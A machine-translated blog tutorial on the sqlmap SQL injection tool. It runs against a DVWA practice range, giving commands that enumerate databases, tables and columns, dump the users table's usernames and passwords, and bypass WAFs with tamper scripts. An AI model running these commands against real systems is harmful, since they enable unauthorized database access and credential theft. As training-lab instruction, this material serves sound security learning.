当前位置:网站首页>Use of sqlmap
Use of sqlmap
2022-07-19 02:36:00 【jjj34】
Common commands
python sqlmap.py -u "?" -cookie "?" --level 5 --current-db
python sqlmap.py -u "?" -cookie "?" --level 5 -T $ --tables
python sqlmap.py -u "?" -cookie "?" --level 5 -D $ -T $ --columns
python sqlmap.py -u "?" -cookie "?" --level 5 -D $ -T $ -C $ --dump
// hold cookie It's convenient to take it for inspection cookie Inject
// --level 5 It means there are tests user-agent
// Around the space : --tamper "space2comment.py"Common bypass scripts
sqlmap --tamper Bypass WAF Script sorting _whatday The blog of -CSDN Blog _sqlmap Script
sqlmap download :
sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool (github.com)
start-up :
1. Set it up in advance python Environmental Science
2. stay sqlmap Under the root directory of , Write a bat Processing documents
@echo off
cmd /k "python sqlmap.py -h"Such as :

Double click bat File to start
Chinese version options :
python sqlmap.py -h Check the original help manual
Chinese version of the original link :https://blog.csdn.net/smli_ng/article/details/106026901
Common sentences
With dvwa Range low Grade SQL Injection For example

1. Enter a random number first , Get injected url
![]()
2. Copy url, To sqlmap To be used in
3. Classic four steps : Database search , Look up the table , Check field , Check data
Database search :
Check all databases
python sqlmap.py -u "http://39.101.162.123:44729/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4d099mj6tpcq8j3q17r8gtuhj2; security=low" --dbs 
Check the current database
python sqlmap.py -u "http://39.101.162.123:44729/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4d099mj6tpcq8j3q17r8gtuhj2; security=low" --current-db
dvwa Is the currently connected database
Look up the table , List
python sqlmap.py -u "http://39.101.162.123:44729/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4d099mj6tpcq8j3q17r8gtuhj2; security=low" --tables --columns
Pictured , The columns and tables come out directly
Check data
Obviously, what we should check is dvwa Under the users Under the user and password
python sqlmap.py -u "http://39.101.162.123:44729/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4d099mj6tpcq8j3q17r8gtuhj2; security=low" -D dvwa -T users -C user,password --dump
Pictured , And here it is
Post Type injection
And get Different types , because get The parameters of type are in url bar ,
1.
python sqlmap.py -u "???" -cookie="???" --forms--forms Namely sqlmap Automatically collect forms
2. Specify the parameters
python sqlmap.py -u "??" --data "n=1"
perhaps
python sqlmap.py -u "??" --data "n=1&m=1"边栏推荐
- [unity development tips] unity packs the EXE on the PC side and compresses and packs it into an EXE file
- BeanShell脚本获取当前时间
- 剑指 Offer 48. 最长不含重复字符的子字符串
- 性能瓶颈定位XMind
- Nmon使用方法
- 接口(Collection/Map)- 各接口的实现与对比
- Interface (collection/map) - implementation and comparison of interfaces
- 元宇宙公链Caduceus详解:专为元宇宙应用打造的创作平台
- GoReplay
- 性能之流量回放
猜你喜欢

剑指 Offer 48. 最长不含重复字符的子字符串

bugku---game1

General knowledge of network (detailed)

STL -- stack container

子网划分(详)

CTFHub----RCE

Method of JMeter connecting to database

Logical vulnerability - authentication vulnerability

InnoDB, MySQL structure, and the difference between the three kinds of deletion

Chapter 2 - system control principle - > classical control theory
随机推荐
使用JMeter测试基于WebSocket协议的服务
UE4 notes
Detailed explanation of caduceus project of metauniverse public chain (I): project concept and technical framework of caduceus metaverse protocol
BeanShell脚本获取当前时间
VLAN and trunk port configuration
SoloPi APP性能测试用
Simple use case writing specification
D - Parity game离散化+带权并查集
Chapter 2 - system control principle - > classical control theory
全链路压测
性能之流量回放
初识阿里云环境搭建:无法远程连接,入过的坑:服务器ping不通,FTP搭建,服务器搭建数据库,远程连接服务器数据库
逻辑漏洞---登录验证码安全
简单记录一下并查集
Inverse yuan (I'll add these words if there are too many people using the name)
STL -- List container (linked list)
Network layer protocol and IP packet format (detailed)
已知先序遍历中序遍历,求树的层序遍历
攻防世界----shrine
去中心化边缘渲染元宇宙协议Caduceus受邀出席CBAIA 2022峰会,以技术赋能更多Web3应用场景